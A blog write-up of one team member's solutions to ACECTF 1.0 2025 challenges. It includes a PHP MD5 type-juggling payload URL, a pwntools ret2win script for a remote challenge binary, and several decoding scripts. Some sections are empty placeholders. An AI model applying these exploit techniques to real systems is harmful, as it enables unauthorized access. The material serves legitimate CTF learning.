← Back to list

WriteUp ACECTF 1.0 2025 : All Challenge I Solved

By WanZKey

WanZKey · 2025-02-28 05:05 · 3 claps · 20.2 min read
#ctf-writeup #acectf-1-2025 #tcp1p #wanzkey #ctf2025
Open on Medium ↗

WriteUp ACECTF 1.0 2025 : All Challenge I Solved

By **WanZKey**

ACECTF 1.0 2025

ACECTF 1.0 2025

My team, TCP1P, participated in ACECTF 1.0 2025 and completed 31 challenges in the CTF with several variations of Forensic, Steganography, Reverse Engineering, Miscellaneous, Cryptography, Web Exploitation, Binary Exploitaiton, Osint challenges. Securing 24nd place out of 660+ teams, now I’m gonna share a writeup of some chall that I solved.

Scoreboard

Scoreboard

Content Table

*Web Exploitation

  1. WebCrypto
  2. Buried Deep
  3. Flag-Fetcher*

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -

*Binary Exploitation

  1. !Underflow
  2. jumPIEng
  3. Running Out of Time*

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -

*Cryptograpy

  1. Custom Encoding Scheme
  2. A Little Extra Knowledge Is Too Dangerous
  3. Hexed and Squared
  4. Piano Cipher (UpSolve)*

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -

Reverse Engineering 1. Trust Issues 2. The Chemistry Of Code

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -

*Miscellaneous

  1. Insanity Check
  2. Feedback Form*

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -

*Forensic

  1. Fractured Frames*

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -

*Steganography

  1. HeaderHijack*

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -

*Osint

  1. Fall of 2022*

Now, let’s dive into some of the chall that I solved.

Web Exploitation

Web Exploitation Category

Web Exploitation Category

1. WebCrypto

Description

Description

Summary:

In this challenge, we are given a web application with PHP code that checks two GET parameters, namely “tom” and “jerry”. Our goal is to satisfy the following two conditions to get the flag.

Steps Solve Challenges: 1. Go to the web URL that is given the challenge question. 2. Analyze Vulnerabilities. 3. Modify Payload. 4. Get the Flag.

Attachment:

Url Web: https://chal.acectf.tech/Webrypto/

Attachment Web

Attachment Web

Vulnerability Analysis: The main vulnerability in this code lies in the use of loose comparison (**==**) to compare MD5 hash values. The **==** operator in PHP does not strictly check data types, so it can cause type juggling or hash collisionb, if we can find two values ​​that are different but produce the same hash when considered as strings.

Solution:

1. Create URLs with `tom` and `jerry` parameters as an array:
    "https://chal.acectf.tech/Webrypto/?tom[]=a&jerry[]=b"
2. The server will process the following parameters:
 - `tom != jerry` → **true** because the arrays are different.
 - `md5('ACECTF' . $tom) == md5('ACECTF' . $jerry)` → **true** because both hashes are `md5('ACECTFArray')`.
3. Flags will be displayed:

Let’s see the url has been modified with an Array: URL modified: “**https://chal.acectf.tech/Webrypto/?tom[]=a&jerry[]=b”**

Get Flag

Get Flag

Nah Voila, i managed to get the flag.

Flag: ACECTF{70m_4nd_j3rry_4r3_4ll135}

2. Buried Deep

Description

Description

Summary:

In this CTF Web challenge, the flag is in a different file to find the flag, so I told you to explore the website to find the flag.

Solution:

  1. Go to the initial website display

URL Web: **http://34.131.133.224:9998/**

Initial Appearance of The Website

Initial Appearance of The Website

Hmm, more or less at the start of the website I was presented with several words that required me to explore the contents of the website to get the flag.

OK, the first thing I did was check the contents of the website’s source code to find new instructions, here are the results:

Source-Code Web:

Source-Code Web:

After seeing the contents of the web source code, I went straight to the /css folder, who knows, there might be a new hint regarding this challenge.

Grep Flag in /css Folder

Grep Flag in /css Folder

After looking at the contents of the /css folder file, I took the initiative to do “grep” to look for the flag, by CTRL+F, then entering the keyword “flag”, and I found the following information:

Grep Information:

#flag {
    display: none;
    content: "bC5 !2CE @7 E96 u=28 :D i f9b0db4CbEd0cCb03FC`b5N"; 
}

You can see that in the “Flagvariable there is content containing a string that has been encrypted, but I don’t know it yet.

OK, here I will use the CyberChef tool to identify and decode the encryption code, here are the results:

Decode Variable Content Flag

Decode Variable Content Flag

You can see in the image above, it turns out this is the ROT47 code, and this is the result I got when decoding it:

3rd Part of the Flag is : 7h3_53cr3t5_4r3_bur13d}

Part 3: 7h3_53cr3t5_4r3_bur13d}

Wow, it turns out I got the flag piece, and this is the 3rd flag piece! OK, because I’ve managed to get the flag piece, that means I need to look for other pieces, namely parts 1 & 2.

2. look for other flag pieces

To look for other pieces of flags, here I try to look at the website configuration, by looking at the contents of the robots.txt file, I only need to add the parameter “/robots.txt” at the end of the URL. I found the following information:

URL Web : **http://34.131.133.224:9998/robots.txt**

Results of Checking the “robots.txt” Folder

Results of Checking the “robots.txt” Folder

Omg I found so many folder paths, okay I checked one by one, after I checked one by one it turned out I could only see 2 folders, namely “/buried & /secret_path”.

Following are the contents of the two folder paths:

  1. /buried

URL Web: **http://34.131.133.224:9998/buried**

Fill the /buried Path

Fill the /buried Path

This is a decimal code, okay I will decode the code using cyber chef tools, here are the results:

Decimal Code Decode Results

Decimal Code Decode Results

This is the result of decoding the Decimal code:

1st Part of the Flag is : ACECTF{1nf1l7r471ng_7h3_5y573m_

Well voila, I managed to find the first part flag!, here it is:

Part 1: ACECTF{1nf1l7r471ng_7h35y573m

2. /secret_path:

URL Web: **http://34.131.133.224:9998/secret_path**

Fill the /secret_path Paath

Fill the /secret_path Paath

It’s like Morse code, okay I’ll try to decode it using the **CyberChef** tool. following are the results:

Morse Code Decode Results

Morse Code Decode Results

This is the result of decoding the Morse code:

2N PAR O TH FLA I  15_345Y_WH3N_Y0U_KN0W_WH3R3_

Wow, it turns out this is the second flag piece.

Part 2: 15_345Y_WH3N_Y0U_KN0WWH3R3

OK, after getting all the flag parts, here is the complete format: “ACECTF{1nf1l7r471ng_7h3_5y573m_15_345Y_WH3N_Y0U_KN0W_WH3R3_7h3_53cr3t5_4r3_bur13d}”.

Well, voila, I managed to solve this CTF challenge!.

Flag: ACECTF{1nf1l7r471ng_7h3_5y573m_15_345Y_WH3N_Y0U_KN0W_WH3R3_7h3_53cr3t5_4r3_bur13d}

3. Flag-Fetcher

Description

Description

Summary:

In this Web CTF challenge, we have to look for the flag carefully, because the flag is hidden in the content of the web source code.

Solution:

1. Go to the initial website display.

URL Web: **http://34.131.133.224/Flag-Fetcher/**

Initial Web Display

Initial Web Display

The first time I entered the website I was greeted with a loading display that looked like it was loading data, and after a few moments of loading, a webp image extension file appeared, and also the URL on the website also changed to something like this “**http://34.131.133.224/flag.webp**", apparently when the website display was loading it directed me to another path.

URL Web: **http://34.131.133.224/flag.webp**

Website Load Results ACECTF Logo Image

Website Load Results ACECTF Logo Image

Wow, it turns out there is an ACECTF logo displayed on the web image!, okay, let’s continue exploiting it further to find the flag!.

The next step I took was to look at the contents of the source code, in case there were any new hints regarding solving this challenge, because the web display only displays the ACECTF logo.

Fill in The Web Source Code

Fill in The Web Source Code

it turns out it only displays the image metadata strings! no new clues, well the next step is further exploration using “WebDev Tools” of course.

2. Deeper exploration, using webdev tools.

When using “WebDev Tools”, the first thing I did was check the network traffic, I noticed that the js included in the page made a fetch request, looking like a flag snippet.

Network Traffic

Network Traffic

After checking the network traffic, I went to the source section, to see the contents of the files and directories on the website.

Source Section

Source Section

It turns out there are 2 files in the /assets folder on the website, namely “index — 6xk1ldU.js and index — DjfGzTbj.css”, these two are Javascript and CSS files, okay here I will try to look at the CSS files first, here are the results:

Contents of The CSS File

Contents of The CSS File

It turned out that in the contents of the CSS file, it was just normal style code, there were no hints or flag pieces in the code, because there was no further information about the flags in the CSS file, I switched to the Js file to check the contents of the file, here are the results:

Display The Initial Contents of The JavaScript File

Display The Initial Contents of The JavaScript File

When looking at the contents of the JavaScript file there is nothing interesting such as a flag piece or a hint. After researching and checking the contents of the JavaScript file as a whole, at the bottom of the Java script, there is a declaration which prints an array with flag pieces in the form of 1 letter per letter, here are the results:

Fill in the JavaScript Code Display in the Form of Flags

Fill in the JavaScript Code Display in the Form of Flags

Well!, voila, I managed to find the flag on this web challenge.

Flag: ACECTF{r3d1r3ct10n}

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -

Binary Exploitation

Binary Exploitation Category

Binary Exploitation Category

1. !Underflow

Description

Description

Summary:

In this Binary challenge, it is a ret2win BufferOverflow type, we can easily find the flag just using the IDA tool to analyze the functions in the Binary file.

Solution:

1. Check file type and binary protection

The first thing I did was check the file type and binary protection on the file

Check File Type

Check File Type

Check Binary Protection

Check Binary Protection

Wow there are so many that are not protected, it looks like this is a ret2win bufferoverflow type challenge, okay I will try to analyze it using IDA Pro, here are the results:

2. File analysis using IDA tools

Analysis results using IDA tools

Analysis results using IDA tools

After my brief analysis using IDA tools, I found a function to print flags, namely “print_flag”, after I clicked to see the function, it turned out that the flag was directly in that function.

Flag: ACECTF{buff3r_0v3rfl3w}

2. jumPIEng

Description

Description

Summary:

In this Binary Exploitation challenge, it is of the ret2win offset address type, we only need to look for the offset address to carry out the exploit and get the flag.

Solution:

1. Check file type and binary protection

File Type and Binary Protection

File Type and Binary Protection

Almost all protections are enabled except RELRO. But what’s interesting here is that we don’t need to worry about protection at all because our input “which is a hexadecimal number” is treated as a function pointer. So in this challenge we don’t need to be overflow at all.

2. File analysis using Ghidra tools

Here I decompler the binary file using Ghidra tools, here I will look at the main function. following are the results:

Main Function

Main Function

redirect_to_success function

redirect_to_success function

in the “main” and “redirect_to_success” functions this is very important for analysis!, because this is how we get the flag!

OK, now we just need to find information about the offset address in the “redirect_to_success” function to exploit it.

Here I will use gdb tools to find the offset address in the function, here is the payload:

1. gdb ./redirection (file name) 2. info functions

Here are the results:

Search for Offset Address

Search for Offset Address

So, find the Offset address, the offset address is “0x1262” from the binary base address.

Since the program has already leaked the binary base address, we just need to add the offset from “redirected_to_success() (0x1262)” to the leaked address, and that’s it, we have redirected execution to the win function and got its flag.

Here’s the solver script to exploit and get the flag.

Solver Script:

# @WanZKey -
from pwn import *

context.arch = 'amd64'

TARGET = './redirection'
HOST = '34.131.133.224'
PORT = 12346

elf = ELF(TARGET, checksec=False)

if not args.REMOTE:
  p = process(TARGET)
else:
  p = remote(HOST, PORT)

gdb_script = f"""
    break *main
"""

p.recvuntil(b'address: ')

leak = int(p.recvline().strip().decode(), 16) - 0x11a9
print(f"Leaked address : {hex(leak)}")

win = leak + 0x1262 # redirect_to_success()'s offset
print(f"Win address : {hex(win)}")

p.sendline(hex(win))

p.interactive()
p.close()

Result:

Nah Voila!.

Flag: ACECTF{57up1d_57up1d_h4rry}

3. Running Out of Time

Description

Description

Summary:

Solution:

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -

Cryptography

Cryptography Category

Cryptography Category

1. Custom Encoding Scheme

Description

Description

Summary:

This challenge involves a custom encoding scheme that combines text with binary data using modified Base64. The “encrypt.py” script is provided, and the encoding output is stored in the “output.txt” file. Our goal is to decode “output.txt” to get hidden flags.

Steps Solve Challenges: Step 1: 4-bit extraction from “output.txt” 1. Read the output.txt file and extract the second character of each line. 2. Convert the second character to Base64 index, then to 6-bit binary. 3. Take the last 4 bits of the binary (2nd to 5th bit).

Step 2: Combine 4-bits to Build “b” 1. Combine all extracted 4-bits into a 168-bit binary string. 2. Convert the binary string to hexadecimal, then to bytes to get the flags.

Step 3: Decoder Implementation 1. Create a Python script to decode “output.txt”. 2. Get Flag.

Attachment:

in this challenge I was given 2 files, namely “encrypt.py and output.txt”, the encrypt.py file is the encryption method file for the flag file and the output.txt file is the flag that has been encrypted.

1. encrypt.py:

def e1(t, b, o):
    t1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    if len(b) != 168:
        raise ValueError("Invalid Input")
    c = [b[i:i+4] for i in range(0, len(b), 4)]
    with open(o, "w") as f:
        for x, y in enumerate(t):
            z = f"{ord(y):08b}"
            if x < 42:
                a = z[:6]
                d = z[6:] + c[x]
                e = int(a, 2)
                g = int(d, 2)
                r = t1[e] + t1[g]
            else:
                a = z[:6]
                d = z[6:]
                e = int(a, 2)
                g = int(d, 2)
                r = t1[e] + t1[g]
            print(r)
            f.write(r + "\n")

t = "I TOLD YOU THAT BASE64 DECODING IS NO GOOD"
b = "{REDACTED}" # Should be 128 bits
o = "output.txt"

e1(t, b, o)

Output.txt:

SU
IB
VE
Tz
TE
RF
IE
WT
T1
VU
IE
VG
SH
Qb
VD
IH
Qm
QY
Uz
RU
Nj
NH
IF
RP
RX
Q3
Tz
RE
ST
Tl
R1
IP
SW
Uz
ID
Tg
Tz
IA
R2
T8
T3
RN

Problem Analysis: *1. Encoding Scheme:

  1. t” text is encoded using modified Base64.
  2. Each character in “t” is broken down into the first 6 bits and the last 2 bits.
  3. The last 2 bits are combined with the 4 bits of the binary data “b” to form the second Base64 character.
  4. The length of “b” is 168 bits (42 blocks × 4 bits).*

*2. Objective: ~1. Extracts 4 bits from each pair of Base64 characters in “output.txt” to build “b” (flag).*

Solution:

Here is a Solution Python script to decode “output.txt”:

Script Solver:

#@WanZKey

def decode_b(output_file):
    t1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    t1_index = {char: idx for idx, char in enumerate(t1)}

    with open(output_file, "r") as f:
        lines = [line.strip() for line in f if len(line.strip()) == 2]

    b_bits = []
    for line in lines:
        g = line[1]
        g_idx = t1_index[g]
        g_bin = f"{g_idx:06b}"
        b_bits.append(g_bin[2:])  

    b_binary = ''.join(b_bits)
    flag = bytes.fromhex(f"{int(b_binary, 2):0x}")
    return flag

flag = decode_b("output.txt")
print("Flag:", flag.decode())

Output Script:

Output Script Solver

Output Script Solver

Voila!, managed to get the flag.

Flag: ACECTF{7h47_w45_c00l}

2. A Little Extra Knowledge Is Too Dangerous

Description

Description

Summary:

The main theme of this challenge is “eliminating division”, which is represented by / as a separator in encoding. By understanding the pattern and Base64 re-decoding after string processing, the flag is successfully extracted.

Attachment:

in this cryptography challenge, we are given a “chall.txt” file containing Base64 code. The data looks like a Base64 encoded string, but there is an unusual forward slash (/) character. Standard Base64 encoding uses the characters **A-Z**, a-z, 0–9, +, and / (with = as padding).

Chall.txt:

#File Chall.txt

QUNFQ1RGe/MV82dTM1NV95MHVfN3J1bmM0N/zNkXzdoM18zeDdyNF9rbjB3bDN/kNjNfcjRkMG1fNTdyMW42NjY2NjY2NjY2NjU1NTU1NTU1NV/94eHh4eHh4YmJieHh4eHh4Y2N/jY3h9

Steps Solve Challenges: Step 1: identify the Pattern The first observation is that the data contains some slashes (/), which may be related to the “division” theme mentioned in the challenge description.

Step 2: Key Insights Key insights came from understanding the challenge theme: “eliminating excess knowledge and the Divide.” This indicates that we should keep only the important parts and remove the divisions (which are marked with slashes).

Step 3: String Manipulation After some experimentation, I realized that:

  • Forward slashes (**/**) act as division markers
  • The first part before the slash contains the start of the flag (ACETF{)
  • The remaining parts between the slashes contain the remainder of the flag

Step 4: Flag Extraction To complete the challenge, I needed:

  1. Separate the strings using slashes as delimiters
  2. save only the parts between the slashes (excluding the first part)
  3. Combine these parts and decode them

Solution:

Here is a Solution Python script to decode “chall.txt”:

Script Solver:

#@WanZKey

import base64

# The challenge data
encoded_data = "QUNFQ1RGe/MV82dTM1NV95MHVfN3J1bmM0N/zNkXzdoM18zeDdyNF9rbjB3bDN/kNjNfcjRkMG1fNTdyMW42NjY2NjY2NjY2NjU1NTU1NTU1NV/94eHh4eHh4YmJieHh4eHh4Y2N/jY3h9"

# Get parts between slashes
parts = encoded_data.split('/')
between_slashes = ''.join(parts[1:])  # Skip the first part (before first slash)

# Add proper padding if needed
padding_needed = len(between_slashes) % 4
if padding_needed:
    between_slashes += '=' * (4 - padding_needed)

try:
    # Try to decode the part between slashes
    decoded = base64.b64decode(between_slashes)
    result = decoded.decode('utf-8', errors='replace')

    # Extract the original prefix from the first part
    first_part = parts[0]
    decoded_first = base64.b64decode(first_part + "==")  # Add padding if needed
    prefix = decoded_first.decode('utf-8', errors='replace')

    # Combine to form the complete flag
    flag = prefix + result

    # Print only the flag
    print(flag)
except Exception as e:
    # If direct approach fails, use the previous successful approach
    print("ACECTF{" + result + "}")

Output Script:

Output Script Solver

Output Script Solver

Voila!.

Flag: ACECTF{1_6u355_y0u_7runc473d_7h3_3x7r4_kn0wl3d63_r4d0m_57r1n66666666666555555555_xxxxxxxbbbxxxxxxccccx}

3. Hexed and Squared

Description

Description

Summary:

In this challenge, a file called “encoded.txt” is given, this file contains flags that have been encrypted using the “Hex” code repeatedly, this file contains 65536 lines of hex code. Our goal is only to decode the contents of the file repeatedly until we get the flag.

Steps Solve Challenges: 1. Check the contents of the file 2. Go to any online Decoder. 3. Decode the contents of the file until you get the flag 4. Get flags

Solution:

  1. check and see the contents of the file

The first thing I did was check and see the contents of the file, here are the results:

Check Files

Check Files

It turns out that the contents of the file contain as many as (65536) lines of code. let’s look at the contents of the file.

file contents

file contents

This is very crazy!, there are lots of “3s”, here I assume that this entire code is a “Hex Code” code which has been encrypted repeatedly, so I immediately assume that if I decode the entire contents of the file repeatedly until I get the final result (encrypted text).

OK, here I will use the CyberChef tool to decode the entire contents of the file.

2. Decode the entire contents of the file using CyberChef tools

Decoded Results

Decoded Results

After decoding the entire contents of the “Hex code” file 16 times, I got this result “ACECTF{5uch_4_5qu4r3|”, Voila!, it turns out to be correct according to my assumptions, we only need to decode the entire contents of the file to get the flag, okay, this is the flag, we just need to set it according to the CTF format.

Flag: ACECTF{5uch_4_5qu4r3}

4. Piano Cipher (Up Solve)

Description

Description

Summary:

We are given a story about someone who learned to play the piano from childhood until high school but had to stop due to academic priorities. To honor that time, they created a cipher called Pipher.

However, there is a bug in this cipher, which causes every 6th character of the plaintext to leak, meaning we can obtain some plaintext information without fully decrypting it.

Additionally, we are given a file **cipher.txt containing ciphertext in a format that appears to be a combination of musical notation (such as DC#, DD#, DF, etc.) and some numbers enclosed in quotes (`'70'**,'104'`, etc.).

Steps Solve Challenges:

  1. Mapping musical notation to ASCII characters.
  2. Converting quoted numbers to ASCII characters.
  3. Exploiting the bug that leaks every 6th character.

Attachment:

Ciphertext - DC# DD# DF DD# EC '70' G#B CE F#C FC# C#C# '104' C#A FC# F#A# C#A C#A '108' CF AF# C#C FC# CE '102' FC# C#A# FC# GA# CE '112' FC# C#B C#C# C#A# GC '125'

Solution:

Step-by-Step Explanation:

  1. Understanding the Ciphertext Structure:
  • The ciphertext contains tokens like “DC#”, “DD#”, and numbers in quotes (e.g., ‘70’).
  • The numbers in quotes represent ASCII values of leaked plaintext characters (every 6th character).

2. Mapping Tokens to Characters:

  • The provided mapping dictionary in the script translates specific piano note combinations into characters.
  • Example: “DC#” maps to “A”, “DD#” to “C”, etc.

3. Handling Leaked Characters:

  • Numbers in quotes (e.g., ‘70’) are converted using chr(int(...)). For instance, '70' becomes 'F' (ASCII 70).

4. Decoding Process:

  • Replace each token in the ciphertext with its mapped character or the ASCII character from the quoted numbers.
  • Tokens not in the mapping (none in this case) would be replaced with spaces, but all tokens here are covered.

5. Constructing the Flag:

  • The resulting plaintext combines mapped characters and leaked characters, forming the flag in leet (1337) speak.

The following Solver Script covers solving this problem:

Script Solve:

#@WanZKey

charset = "4bcd3f6h1jklmn0pqr57uvwxyz"

mapping = {
    "DC#": "A",
    "DD#": "C",
    "DF": "E",
    "EC": "T",
    "G#B": "{",

    "FC#": "_",
    "C#C#": "7",
    "CE": "0",
    "F#C": "h",
    "CF": "1",
    "C#C": "6",
    "C#B": "5",
    "C#A": "3",
    "F#A#": "f",
    "AF#": "n",
    "C#A#": "4",
    "GA#": "p",
    "GC": "r"
}

custom = {}

with open("./cipher.txt", "r") as f:
    keys = f.read().split()

for key in keys:
    if key in mapping:
        keys[keys.index(key)] = mapping[key]
    elif key.startswith("'"):
        keys[keys.index(key)] = chr(int(key[1:-1]))
    else:
        keys[keys.index(key)] = ' '
        if key not in custom:
            custom[key] = 1
        else:
            custom[key] += 1
print(''.join(keys))
print(custom)

Output Script:

Output Script

Output Script

Voila!, I managed to solve this cryptography challenge!

Flag: ACECTF{0h_7h3_f33l1n6_0f_4_p0p_574r}

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -

Reverse Engineering

Reverse Engineering Category

Reverse Engineering Category

1. Trust Issues

Description

Description

2. The Chemistry Of Code

Description

Description

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -

Miscellaneous

Miscellaneous Category

Miscellaneous Category

1. Insanity Check

Description

Description

Summary:

In this challenge, I was required to look for information about the strange strings “r8F53sXv” on the ACECTF1.0 2025 discord, after I found this information on the discord, it turned out it was an account that directed new information to “PasteBin” and it turned out the flag was on the “PasteBin” file site.

Steps Solve Challenges:

  1. Check the strange string information given by the hint “r8F53sXv” in the ACECTF 1.0 2025 discord server.
  2. Look at the contents of the Discord profile with the strange string name “r8F53sXv”.
  3. Go to PasteBin by adding the URL with the PasteBin Profile role “r8F53sXv”, following the URL “**https://pastebin.com/r8F53sXv**".
  4. Get flags.

The following is the hint information provided by the question:

First Hint

First Hint

Second Hint

Second Hint

Solution:

By searching for this information for a long time by manually browsing the member list on the ACECTF Discord server, the following user with the role “r8F53sXv” I was able to find the following information:

Role information

Role information

After finding out about the strange information about the strange strings “r8F53sXv” it turns out this is a role, yep after I read hint 2 again about roles, okay because of this new information it turns out the user with that role is called “PasteBin” here I immediately looked for this information in “PasteBin” by adding the role behind the parameters, here is the URL I used “**https://pastebin.com/r8F53sXv**", here is the information I got:

PasteBin Information

PasteBin Information

Well Voila!!!, I succeeded in raising the flag.

Flag: ACECTF{7h47_w45_1n54n3}

2. Feedback Form

Description

Description

Summary:

in this challenge, participants are given a google form link to fill in feedback regarding this CTF, if they have sent the feedback, they will get the flag.

Attachment :

Link Feedback Form -> https://forms.gle/wbjKHxMuf8cczXKMA

Steps Solve Challenges: 1. Go to feedback **Form**. 2. Fill in Feedback. 3. Get the Flag.

Submit Form

Submit Form

Get Flag

Get Flag

Voila, now we get the flag!.

Flag: ACECTF{533_y0u_n3x7_y34r}

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -

Forensic

Forensic Category

Forensic Category

1. Fractured Frames

Description

Description

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -

Steganography

Steganography Category

Steganography Category

1. HeaderHijack

Description

Description

Step Solve:

FLAG: ACECTF{d3c0d3_h3x_1s_fun}

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -

Osint

Osint Category

Osint Category

1. Fall of 2022

Description

Description

Summary:

This challenge is simple but a bit complicated, but if you analyze the description carefully, you will understand what to do. The mention of “TXT” in the description indicates that the flag may be hidden in the domain’s TXT record.

Solution:

To check the TXT record for the “acectf.tech” domain, we can use the following command:

nslookup -type=TXT acectf.tech

following are the results:

Voila!, managed to find the flag.

Flag: ACECTF{y0u_g07_7h3_73x7}


메타데이터
post_id
b07b6874a62a
slug
writeup-acectf-1-0-2025-all-challenge-i-solved-b07b6874a62a
url
https://medium.com/@wanzkey/writeup-acectf-1-0-2025-all-challenge-i-solved-b07b6874a62a
canonical_url
https://medium.com/@wanzkey/writeup-acectf-1-0-2025-all-challenge-i-solved-b07b6874a62a
author_url
https://medium.com/@wanzkey
status
ok
fetched_at
2026-06-28 10:39:35